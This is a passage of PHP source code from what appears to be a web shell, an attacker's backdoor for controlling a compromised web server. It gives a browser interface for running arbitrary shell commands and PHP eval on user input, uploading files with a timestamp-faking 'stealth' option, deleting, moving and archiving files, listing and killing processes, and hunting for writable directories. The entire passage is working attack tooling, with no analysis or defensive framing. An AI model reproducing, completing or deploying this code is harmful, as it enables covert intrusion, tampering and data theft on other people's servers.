          $fp = fopen($uploadpath.$destin,"w");
          if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
          else {
            fwrite($fp,$content,strlen($content));
            fclose($fp);
            if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
            $uploadmess .= "File saved from ".$uploadurl." !";
          }
        }
      }
    }
    else { echo "No file to upload!"; }
  }
  if ($miniform) {
    echo "<b>".$uploadmess."</b>";
    $x = "ls";
  }
  else {
    echo "<table><tr><td colspan=2 class=barheader>".
         ".: File Upload :.</td>".
         "<td colspan=2>".$uploadmess."</td></tr>".
         "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
         "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
         "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
         "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
         "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
         "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
         "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
         "</form></td></tr></table>";
  }
}
if ($x == "delete") {
  $delerr = "";
  foreach ($actbox as $v) {
    $result = FALSE;
    $result = fs_rmobj($v);
    if (!$result) {$delerr .= "Can\'t delete ".htmlspecialchars($v)."<br>";}
  }
  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  $x = "ls";
}
if (!$usefsbuff) {
  if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
}
else {
  if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
  elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
  elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$to)) {$psterr .= "Can\'t copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$to)) {$psterr .= "Can\'t move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    ca_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $x = "ls";
  }
  elseif ($actarcbuff) {
    $arcerr = "";
    if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
    else {$ext = ".tar.gz";}
    if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
    $cmdline .= " ".$actarcbuff_path;
    $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
    foreach($objects as $v) {
      $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
      if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
      if (is_dir($v)) {
        if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
        $v .= "*";
      }
      $cmdline .= " ".$v;
    }
    $tmp = realpath(".");
    chdir($d);
    $ret = myshellexec($cmdline);
    chdir($tmp);
    if (empty($ret)) {$arcerr .= "Can\'t call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
    $ret = str_replace("
","
",$ret);
    $ret = explode("
",$ret);
    if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
    foreach($sess_data["cut"] as $k=>$v) {
      if (in_array($v,$ret)) {fs_rmobj($v);}
      unset($sess_data["cut"][$k]);
    }
    ca_sess_put($sess_data);
    if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
    $x = "ls";
  }
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$d)) {$psterr .= "Can\'t copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$d)) {$psterr .= "Can\'t move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    ca_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $x = "ls";
  }
}
if ($x == "cmd") {
  @chdir($chdir);
  if (!empty($submit)) {
    echo "<div class=barheader>.: Result of Command Execution :.</div>";
    $olddir = realpath(".");
    @chdir($d);
    $ret = myshellexec($cmd);
    $ret = convert_cyr_string($ret,"d","w");
    if ($cmd_txt) {
      $rows = count(explode("
",$ret))+1;
      if ($rows < 10) {$rows = 10; }
      if ($msie) { $cols = 113; }
      else { $cols = 117;}
      echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
    }
    else {echo $ret."<br>";}
    @chdir($olddir);
  }
  else {
    echo "<b>Command Execution</b>";
    if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  }
}
if ($x == "ls") {
  if (count($ls_arr) > 0) { $list = $ls_arr; }
  else {
    $list = array();
    if ($h = @opendir($d)) {
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
      closedir($h);
    }
  }
  if (count($list) == 0) { echo "<div class=fxerrmsg>Can\'t open folder (".htmlspecialchars($d).")!</div>";}
  else {
    $objects = array();
    $vd = "f"; 
    if ($vd == "f") {
      $objects["head"] = array();
      $objects["folders"] = array();
      $objects["links"] = array();
      $objects["files"] = array();
      foreach ($list as $v) {
        $o = basename($v);
        $row = array();
        if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
        elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
        elseif (is_dir($v)) {
          if (is_link($v)) {$type = "LINK";}
          else {$type = "DIR";}
          $row[] = $v;
          $row[] = $type;
        }
        elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
        $row[] = filemtime($v);
        if (!$win) {
          $ow = posix_getpwuid(fileowner($v));
          $gr = posix_getgrgid(filegroup($v));
          $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
        }
        $row[] = fileperms($v);
        if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
        elseif (is_link($v)) {$objects["links"][] = $row;}
        elseif (is_dir($v)) {$objects["folders"][] = $row;}
        elseif (is_file($v)) {$objects["files"][] = $row;}
        $i++;
      }
      $row = array();
      $row[] = "<b>Name</b>";
      $row[] = "<b>Size</b>";
      $row[] = "<b>Date Modified</b>";
      if (!$win) {$row[] = "<b>Owner/Group</b>";}
      $row[] = "<b>Perms</b>";
      $row[] = "<b>Action</b>";
      $parsesort = parsesort($sort);
      $sort = $parsesort[0].$parsesort[1];
      $k = $parsesort[0];
      if ($parsesort[1] != "a") {$parsesort[1] = "d";}
      $y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
      $y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
      $row[$k] .= $y;
      for($i=0;$i<count($row)-1;$i++) {
        if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
      }
      $v = $parsesort[0];
      usort($objects["folders"], "tabsort");
      usort($objects["links"], "tabsort");
      usort($objects["files"], "tabsort");
      if ($parsesort[1] == "d") {
        $objects["folders"] = array_reverse($objects["folders"]);
        $objects["files"] = array_reverse($objects["files"]);
      }
      $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
      $tab = array();
      $tab["cols"] = array($row);
      $tab["head"] = array();
      $tab["folders"] = array();
      $tab["links"] = array();
      $tab["files"] = array();
      $i = 0;
      foreach ($objects as $a) {
        $v = $a[0];
        $o = basename($v);
        $dir = dirname($v);
        if ($disp_fullpath) {$disppath = $v;}
        else {$disppath = $o;}
        $disppath = str2mini($disppath,60);
        if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
        elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
        foreach ($regxp_highlight as $r) {
          if (ereg($r[0],$o)) {
            if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
            else {
              $r[1] = round($r[1]);
              $isdir = is_dir($v);
              if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
                if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
                $disppath = $r[2].$disppath.$r[3];
                if ($r[4]) {break;}
              }
            }
          }
        }
        $uo = urlencode($o);
        $ud = urlencode($dir);
        $uv = urlencode($v);
        $row = array();
        if ($o == ".") {
          $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "CURDIR";
        }
        elseif ($o == "..") {
          $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "UPDIR";
        }
        elseif (is_dir($v)) {
          if (is_link($v)) {
            $disppath .= " => ".readlink($v);
            $type = "LINK";
            $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          else {
            $type = "DIR";
            $row[] =  "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          $row[] = $type;
        }
        elseif(is_file($v)) {
          $ext = explode(".",$o);
          $c = count($ext)-1;
          $ext = $ext[$c];
          $ext = strtolower($ext);
          $row[] =  "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
          $row[] = view_size($a[1]);
        }
        $row[] = date("d.m.Y H:i:s",$a[2]);
        if (!$win) {$row[] = $a[3];}
        $row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
        if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
        else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
        if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
        else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
        if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
        elseif (is_link($v)) {$tab["links"][] = $row;}
        elseif (is_dir($v)) {$tab["folders"][] = $row;}
        elseif (is_file($v)) {$tab["files"][] = $row;}
        $i++;
      }
    }
    $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
    echo "<div class=barheader>.: ";
    if (!empty($fx_infohead)) { echo $fx_infohead; }
    else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
    echo " :.</div>
";
    echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
         "<table class=explorer>";
    foreach($table as $row) {
      echo "<tr>";
      foreach($row as $v) {echo "<td>".$v."</td>";}
      echo "</tr>
";
    }
    echo "</table>".
         "<script>".
         "function ls_setcheckboxall(status) {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById(\'actbox\'+id).checked = status; id++; }".
         "}".
         "function ls_reverse_all() {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById(\'actbox\'+id).checked = !document.getElementById(\'actbox\'+id).checked; id++; }".
         "}".
         "</script>".
         "<div align=\"right\">".
         "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
         "<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
    if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
      echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    echo "<select name=x><option value=\"".$x."\">With selected:</option>";
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
    if ($usefsbuff) {
      echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
      echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
      echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
    }
    echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
    echo "</form>";
  }
}
if ($x == "tools") 
{

}
if ($x == "phpfsys") {
  echo "<div align=left>";
  $fsfunc = $phpfsysfunc;
  if ($fsfunc=="copy") {
    if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
    else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
  }
  elseif ($fsfunc=="rename") {
    if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
    else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
  }
  elseif ($fsfunc=="chmod") {
    if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
    else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
  }
  elseif ($fsfunc=="read") {
    $hasil = @file_get_contents($arg1);
    echo "<b>Filename:</b> $arg1<br>";
    echo "<textarea cols=150 rows=20>";
    echo $hasil;
    echo "</textarea>
";
  }
  elseif ($fsfunc=="write") {
    if(@file_put_contents($d.$arg1,$arg2)) {
      echo "<b>Saved!</b> ".$d.$arg1;
    }
    else { echo "<div class=fxerrmsg>Couldn\'t write to $arg1!</div>"; }
  }
  elseif ($fsfunc=="downloadbin") {
    $handle = fopen($arg1, "rb");
    $contents = \'\';
    while (!feof($handle)) {
      $contents .= fread($handle, 8192);
    }
    $r = @fopen($d.$arg2,\'w\');
    if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
    else { echo "<div class=fxerrmsg>Couldn\'t write to ".$d.$arg2."!</div>"; }
    fclose($r);
    fclose($handle);
  }
  elseif ($fsfunc=="download") {
    $text = implode(\'\', file($arg1));
    if ($text) {
      $r = @fopen($d.$arg2,\'w\');
      if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
      else { echo "<div class=fxerrmsg>Couldn\'t write to ".$d.$arg2."!</div>"; }
      fclose($r);
    }
    else { echo "<div class=fxerrmsg>Couldn\'t download from $arg1!</div>";}
  }
  elseif ($fsfunc==\'mkdir\') {
    $thedir = $d.$arg1;
    if ($thedir != $d) {
      if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
      elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
      else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
    }
    else { echo "Couldn\'t create current dir:<b> $thedir</b>"; }
  }
  elseif ($fsfunc==\'fwritabledir\') {
    function recurse_dir($dir,$max_dir) {
      global $dir_count;
      $dir_count++;
      if( $cdir = @dir($dir) ) {
        while( $entry = $cdir-> read() ) {
          if( $entry != \'.\' && $entry != \'..\' ) {
            if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
             if ($dir_count > $max_dir) { return; }
              echo "[".$dir_count."] ".$dir.$entry."
";
              recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
            }
          }
        }
        $cdir->close();
      }
    }
    if (!$arg1) { $arg1 = $d; }
    if (!$arg2) { $arg2 = 10; }
    echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
    echo "<pre>";
    recurse_dir($arg1,$arg2);
    echo "</pre>";
    $total = $dir_count - 1;
    echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  }
  else {
    if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
    else {
      if ($hasil = $fsfunc($arg1)) {
        echo "<b>Result of $fsfunc $arg1:</b><br>";
        if (!is_array($hasil)) { echo "$hasil
"; }
        else {
          echo "<pre>";
          foreach ($hasil as $v) { echo $v."
"; }
          echo "</pre>";
        }
      }
      else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
    }
  }
  echo "</div>
";
}
if ($x == "processes") {
  echo "<div class=barheader>.: Processes :.</div>";
  if (!$win) { $handler = "ps -aux".($grep?" | grep \'".addslashes($grep)."\'":""); }
  else { $handler = "tasklist"; }
  $ret = myshellexec($handler);
  if (!$ret) { echo "Can\'t execute \"".$handler."\"!"; }
  else {
    if (empty($processes_sort)) {$processes_sort = $sort_default;}
    $parsesort = parsesort($processes_sort);
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {
      $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
    }
    else {
      $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
    }
    $ret = htmlspecialchars($ret);
    if (!$win) {
      if ($pid) {
        if (is_null($sig)) {$sig = 9;}
        echo "Sending signal ".$sig." to #".$pid."... ";
        if (posix_kill($pid,$sig)) {echo "OK.";}
        else {echo "ERROR.";}
      }
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      $stack = explode("
",$ret);
      $head = explode(" ",$stack[0]);
      unset($stack[0]);
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
      }
      $prcs = array();
      foreach ($stack as $line) {
        if (!empty($line)) {
          echo "<tr>";
          $line = explode(" ",$line);
          $line[10] = join(" ",array_slice($line,10));
          $line = array_slice($line,0,11);
          if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
          $line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
          $prcs[] = $line;
          echo "</tr>";
        }
      }
    }
    else {
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
      $ret = convert_cyr_string($ret,"d","w");
      $stack = explode("
",$ret);
      unset($stack[0],$stack[2]);
      $stack = array_values($stack);
      $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
      $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
      $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
      $head = explode(" ",$stack[0]);
      $stack = array_slice($stack,1);
      $head = array_values($head);
      if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
      else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
      if ($k > count($head)) {$k = count($head)-1;}
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
      }
      $prcs = array();
      unset($stack[0]);
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[4] = str_replace(".","",$line[4]);
          $line[4] = intval($line[4]) * 1024;
          unset($line[5]);
          $prcs[] = $line;
        }
      }
    }
    $head[$k] = "<b>".$head[$k]."</b>".$y;
    $v = $processes_sort[0];
    usort($prcs,"tabsort");
    if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
    $tab = array();
    $tab[] = $head;
    $tab = array_merge($tab,$prcs);
    echo "<table class=explorer>";
    foreach($tab as $i=>$k) {
      echo "<tr>";
      foreach($k as $j=>$v) {
        if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
        echo "<td>".$v."</td>";
      }
      echo "</tr>";
    }
    echo "</table>";
  }
}
if ($x == "eval") {
  if (!empty($eval)) {
    echo "Result of execution this PHP-code:<br>";
    $tmp = ob_get_contents();
    $olddir = realpath(".");
    @chdir($d);
    if ($tmp) {
      ob_clean();
      eval($eval);
      $ret = ob_get_contents();
      $ret = convert_cyr_string($ret,"d","w");
      ob_clean();
      echo $tmp;
      if ($eval_txt) {
        $rows = count(explode("
",$ret))+1;
        if ($rows < 10) {$rows = 10;}
        echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
      }
      else {echo $ret."<br>";}
    }
    else {
      if ($eval_txt) {
        echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
        eval($eval);
        echo "</textarea>";
      }
      else {echo $ret;}
    }
    @chdir($olddir);
  }
  else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=x value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($x == "f") {
  echo "<div align=left>";
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
    if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
    else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  }
  else {
    $r = @file_get_contents($d.$f);
    $ext = explode(".",$f);
    $c = count($ext)-1;
    $ext = $ext[$c];
    $ext = strtolower($ext);
    $rft = "";
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
    if (empty($ft)) {$ft = $rft;}
    $arr = array(
        array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"),
        array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"),
        array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"),
        array("Code","code"),
        array("Session","phpsess"),
        array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"),
        array("SDB","sdb"),
        array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"),
        array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"),
        array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"),
        array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"),
        array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit")
    );
    echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
    foreach($arr as $t) {
      if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
      elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
      else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
      echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
    }
    echo "<hr size=\"1\" noshade>";
    if ($ft == "info") {
      echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
      if (!$win) {
        echo "<tr><td><b>Owner/Group</b></td><td> ";
        $ow = posix_getpwuid(fileowner($d.$f));
        $gr = posix_getgrgid(filegroup($d.$f));
        echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
      }
      echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
      $fi = fopen($d.$f,"rb");
      if ($fi) {
        if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
        else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
        $n = 0;
        $a0 = "00000000<br>";
        $a1 = "";
        $a2 = "";
        for ($i=0; $i<strlen($str); $i++) {
          $a1 .= sprintf("%02X",ord($str[$i]))." ";
          switch (ord($str[$i])) {
            case 0:  $a2 .= "<font>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2 .= "&nbsp;"; break;
            default: $a2 .= htmlspecialchars($str[$i]);
          }
          $n++;
          if ($n == $hexdump_rows) {
            $n = 0;
            if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
            $a1 .= "<br>";
            $a2 .= "<br>";
          }
        }
        echo "<table border=1 bgcolor=#666666>".
             "<tr><td bgcolor=#666666>".$a0."</td>".
             "<td bgcolor=#000000>".$a1."</td>".
             "<td bgcolor=#000000>".$a2."</td>".
             "</tr></table><br>";
      }
      $encoded = "";
      if ($base64 == 1) {
        echo "<b>Base64 Encode</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
      }
      elseif($base64 == 2) {
        echo "<b>Base64 Encode + Chunk</b><br>";
        $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
      }
      elseif($base64 == 3) {
        echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
        $encoded = substr(preg_replace("!.{1,76}!","\'\0\'.
",$encoded),0,-2);
      }
      elseif($base64 == 4) {
        $text = file_get_contents($d.$f);
